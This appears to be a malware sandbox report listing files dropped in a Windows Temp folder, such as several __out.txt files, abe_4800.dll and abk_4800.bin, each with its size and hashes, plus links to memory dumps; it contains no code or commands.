Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r3jdcr3z.eht.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 309B
SHA256 23c8247145678de24de5ff4d33e3572bf0aa2163c1a368f4a3e1db6865719d58
MD5 e780efb4dcb95764c29e6d475be897ec
SHA1 8783559efcf48e10aa8e170e8d7d932f52015864
SHA512 0becb98b1ecd591bce8206c5f954c694a62685fd76c1761558f8f3e6951b6df5e341904fdc54205f94fd72b932d43f412b941b9ad0d24bb59ff8aa703113dc96
TLSH
T104E0CD045658C0F4BD321977D423C299D20D98F767039D3DB48E65CD4F31299578E764
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 7KB
SHA256 3f8fe7725c9b8d850ff0be01d5616471fbd1aa639505c62efb3ff6b56c067493
MD5 f4f4169da659fca005ebe922107a85d0
SHA1 6a09a1a012263d84428715c117e2703292f50541
SHA512 39465fa53dfff0a12f8829defbdd42adbf871ab4cb9f82bc4adcf4f554829d8fad02ef4e9516537d41731352c0a3222c992a7b6667cd7f553f15f0fc4f9bb4da
SSDEEP 192:IjdPIckw3EMKlPHM6OIzsqiAixMcXkttNn8CMVJkmE3JqeyO8xaqpaRr75Z1KaU4:IjdPIckw3EMKlPHhOIzsqiAixMcXkttT
TLSH
T19DE1DE85889F85EC952DD3983E230042FB5E550031AAADD93ADE14EC77E4F1CD7EBA60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 97B
SHA256 aecededd6108c640e3151a7d621fc790857d5dfbd2664e6647387c399a706a23
MD5 b7403aed1757c1100c4abe028e5712a2
SHA1 e27465a1949338511ef85f2d8d1535404f0f6cac
SHA512 df20e8dc71d61be8368170d185df4ea798e6a86eba216be263bbd84836187cf133316d0457d8e8531d476b06c799a77efe919328f1bd0da8d2044838e25f625c
TLSH
T143B012A1237462801CB5C398880D7B5358C0511206AA3188A005D1B8D9C1103E1CF041
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 741B
SHA256 595f0bca2c75856848f6cc448a786a5a3f2eb29d1834df44350e3b70dc6fe5c2
MD5 31bf1c1c16f203cb89e4507e5b6ee94c
SHA1 dba9178c6543b3e405973a0d9d8519bfe4287d1e
SHA512 d5aaedc0fd032d5820f24e016411ca9612882eb80d6879a2e7ded4c303d1a198c19829b1e0bfc8fbf8ce2acdf8c15e27c2db9917783ce1115ce7dbd9b9e600a5
TLSH
T1C301192DE2EA831B20E880723BC818673DCE4B44898573B94D16D8481F04D4C3FDED9B
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 7KB
SHA256 3e9e73b20cc0ed02fb58998b0ad99f585791178369e33c63252ed9135ec2bbb8
MD5 a859f55f90861e4685a91feec74f66fa
SHA1 8f3ef9a8dffe922edffe92083a181c450ae4a479
SHA512 a3c50a00a3babdc970ec87df8b08464965b81fac37ee5295c8424d5278ad20ca67ad56a6eea8c6f814bd262856f80a0be862d1caf98efb755b4441cfb5c39180
SSDEEP 192:IRJOC2usvzMWuEXMwbE/2oKppD7/gtGTzdJQJ4H3fYMoHrhH/6PETsQS27D3pUS3:IRJOC2usvzMWuEXnbE/2oKppD7/gtGT0
TLSH
T121E1FD85889F85EC916DE3983E130002EB4E550031AAADD93ADE54EC77E5F1CD7EBE60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 6KB
SHA256 ee31d8dd5c1d9b6d32a18d3e033c855db9bcce4e0ed4193397cb38d3eed967ec
MD5 f0c4ba9370eec6a8d10a70216b7b2f00
SHA1 12acbc6367ce39e465a944b037df97878b9ee6ef
SHA512 43a23ee75f68888dd78ea4f8f4e025f627826af929e835ce92b69a2f0e02bbf09e852da5fa0bcedc6dac4982d52c6dd858a6b5d7e0a7a75aeece7f0ca6fcbe78
SSDEEP 192:IRJOCcusvzMWurlMqbE/2oKppD7/gtGTzdJQJ4L3fY8ZHrhH/6rfTsQS27D3pxSn:IRJOCcusvzMWurllbE/2oKppD7/gtGTP
TLSH
T17AE1DB85889F85ED912DD3983E130002EB5E150031AAADD93ADE14EC77E5F1DE7EBA70
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 44B
SHA256 f7167a2facde50428d8d2697a1cdff075de809323dd16d62b65cdd103b2a9a6d
MD5 df5dc1abc0d52f3c9e931e26a7c0065c
SHA1 ee84123d3b3bc440c63dfe65ff5616be2b0904d5
SHA512 9b2253ce41880d22a2ddf4f886bb6cb22ff0c981400cd9d03a1fca81de5faeb86c26b85b66ecec960816d7bbe9740843890f2fccd334b6d274295a32a8e6a4e9
MD5 SHA1 SHA512

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 59B
SHA256 6b6dd8b11f84fb78e3e8cfaa7c5fca569d79402b9fc5861b00960b25607c911e
MD5 409930721dbce1ee58227d109cca4570
SHA1 767f86ffec769d8415f07b4372a108cba1bf7221
SHA512 4875187fce9545a92df636e384f92dcb403dfe80f3cad4a68e79329a1f42e12e9d04948f2a52b939638481da6d3e3b5f5096fe6dfd674ee53cca7c655ec03f17
TLSH
T148A0028672E285B501922A03C6D590731F9411FD4065DF2915DC204256C942DAF15C15
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 44B
SHA256 33a0c800af75da87bb7b6a32a0b3b054b636981a586cdc796ffb9b4140210743
MD5 138edd3810f74b2059cd2873871e9bb5
SHA1 0b3a650ccbbe65e3de826e5a5d06e964e44c0207
SHA512 abf6ad34fda5b6aab08569a66c625f935b34fe6b3927940cb647113809d186dceac9d34bd651bc7f72da7711276ad2aff769eea2824cb6771b9f3fc503bbcad0
MD5 SHA1 SHA512

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 6B
SHA256 4a8d7c1bf1f70fd24d4a1e6f8a2905d291a66cd91d65153c6c376c4e65bb9a24
MD5 c0cdc67f6e82e9eed8392c64cd4e02e2
SHA1 a5d064f84e1c7cebfe48a18fcfa6b52eb839f42b
SHA512 793597516c8dee2221123a57590fa01bcecc783662e9afbb8017ae6419dfdeeb1c6941677da8c35ef2111ab836c1dd144743695addf490d57e4ebc3f7a08c8f4
MD5 SHA1 SHA512

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 20B
SHA256 4782b7d9793e0e56cee52e714fe5b99b09fb99767795cf04e185c7c27aad7ea1
MD5 f00c08dcdcdfb09f1707150dbbd3fd20
SHA1 266357d5f3ae5118210a4597c77dc76a3de388cf
SHA512 ddfdbffb4ffb6fe5bda3aadee8bdf4ea6da7afc265bb2f28771ded330e0d0d80c9dccdc0bf73546668c14ea7d986baa0bf6c4598c91a2abcab5ff4c01e440551
MD5 SHA1 SHA512

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 1023B
SHA256 510a7ad2483c6224ecf21c66520771033adc3824a5cb6ba1a310e7ecd00f6c40
MD5 ebb4553fc3c827bef6a40b011d7d38d3
SHA1 ab23447ce4db733044502a544421f0b7ae061412
SHA512 1250696d2cf59a3d67d861720535b89b2a9dabbacbdab9926e25c9583dbd021cb03c5f66dcc5d8f9a5a0a35af77ea762dd19274ae970bb60596ecab9c8ba9f32
TLSH
T18A11F1DC1394F003B37986011C295736E2945D83C003EAA4BE7CA488BC322B0EB82DD3
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 2KB
SHA256 9fbf421a6de9c864afccc15eb54acc1b6c1625a44cc10571c8ce734e3acc9323
MD5 449c32b670c7d42e82f93a0ea9087442
SHA1 012fa9d4f1bf687a90dfa84861edeb7e9c85a9c7
SHA512 195c93d2aefef2bbb43189f31b034354fd2afe65022ff11cb50a572092b31c80f7923e362f4de1c86f566b113111d62ac90032187e40bf081bd1eeeef86b0d71
TLSH
T18E41DC3A442758A1C2B9F6D27C6E5A06F96DA24B77D04B06BCE4510A4F277C3C4F8BA0
MD5 SHA1 SHA512 TLSH

Submit Download

__out.txt

Path C:\Users\Admin\AppData\Local\Temp\__out.txt
Size 4KB
SHA256 461b19fed24d5d93ab3eed64f5023c58ce01482e8b264d833593ec7566a7a665
MD5 891e5ce3dc1e973f54ee9758a81e4845
SHA1 9fea6935f107bed36765bb5de30550852f77bc42
SHA512 7a4fdb95158ec44dab9927287656f995960676d1622079efe4f8df8d207cd0048d50fda9c5ef0977ce69dd03df77b2ca2b6115058e4caa4d79eb2ab8c20be9d7
SSDEEP 96:Fbslas8hkm7+d7NkOHXHdH3OHqgHlOHAH4lHY+HDHkFgHxHTHmH86HzdHdHDHLH0:Bslal2mCdJkW5cF+0RW3V7ODj9UcPO1J
TLSH
T10791011176E3CBF50AD7C8B19ED7A25305AE4434A0E92ADF77C1712F30C186E542B2A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abe_4800.dll

Path C:\Users\Admin\AppData\Local\Temp\abe_4800.dll
Size 218KB
SHA256 e5918d0f3850b6f6933a91fae2ac11290de81f062654f3787f95934bf3315c86
MD5 5bc62aa51f9b794c15a3cb07303e8876
SHA1 53c3ea0a26b01eb3be64afa696c2755b494005cc
SHA512 1c8fb42b7df07a601b79a5f54b2261dfcca86eb27a5c709a4398df573256a66bc2ac3d0a127c63431ab1fe0decbb6fef561bf28249534a2e7809327c1c2c41d4
SSDEEP 6144:5HLlAQGduminkTX4fInLeU0XWLcZOzR/KeTnM3Y:BL5kTXAInLQWLEA/KeTnM3Y
TLSH
T14C24191B73A70DFDC71B813682E7E372A532F8141324EE1F16A8CB332D65C6457AA958
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abk_4800.bin

Path C:\Users\Admin\AppData\Local\Temp\abk_4800.bin
Size 32B
SHA256 f9696b6f484688c5fb9ce0db5434401bc2e1bb5e34f5b7226059a2f14cbcce61
MD5 9ea26c21c5add7fc552308b13b304cba
SHA1 08cc4fc1732a60f10807484dcd62a1df3e069294
SHA512 bb6bb1136ad92cf5e9f49138b3bc2538866976b3852c4a9a9aa5aefcbbf69a47fa53423e8d0ac85e43a4ff15402e977f52ad37d8f99c2f866033fe020a5f2892
MD5 SHA1 SHA512

Submit Download

abk_4800.bin.log

Path C:\Users\Admin\AppData\Local\Temp\abk_4800.bin.log
Size 158B
SHA256 d0fc43f9338983abe3def1737d9b4dcd3c16225fec870f4400cd023771990f9e
MD5 28f5170c386b9fb708b51ecd39381151
SHA1 8b0bfe7e8a8315b43f8d64362881b5b3b47b1bab
SHA512 c96286d4bdaaae4ca3f44844f9c7aeec304a2e7690ccbc7bce9f1c27dd359c138c41d6c5c541e5434df969d40f13398123db30c101072a5e97c4515c93243582
TLSH
T1ADC08C0809321080D688185820BCB808889D302028E8EAC69934D934CC08A2D08AB7E0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1156-29-0x00007FF782470000-0x00007FF7825F7000-memory.dmp

Download

memory/3972-25-0x00007FF65CBA0000-0x00007FF65CD27000-memory.dmp

Download

memory/4800-103-0x00007FF782470000-0x00007FF7825F7000-memory.dmp

Download

memory/4800-147-0x00007FF782470000-0x00007FF7825F7000-memory.dmp

Download

memory/4800-148-0x00007FF782470000-0x00007FF7825F7000-memory.dmp

Download

memory/4800-149-0x00007FF782470000-0x00007FF7825F7000-memory.dmp

Download

memory/5108-19-0x000001E322910000-0x000001E322934000-memory.dmp

Download

memory/5108-9-0x000001E308250000-0x000001E308260000-memory.dmp

Download

memory/5108-8-0x000001E308250000-0x000001E308260000-memory.dmp

Download

memory/5108-17-0x000001E308380000-0x000001E3083A2000-memory.dmp

Download

memory/5108-18-0x000001E322910000-0x000001E32293A000-memory.dmp

Download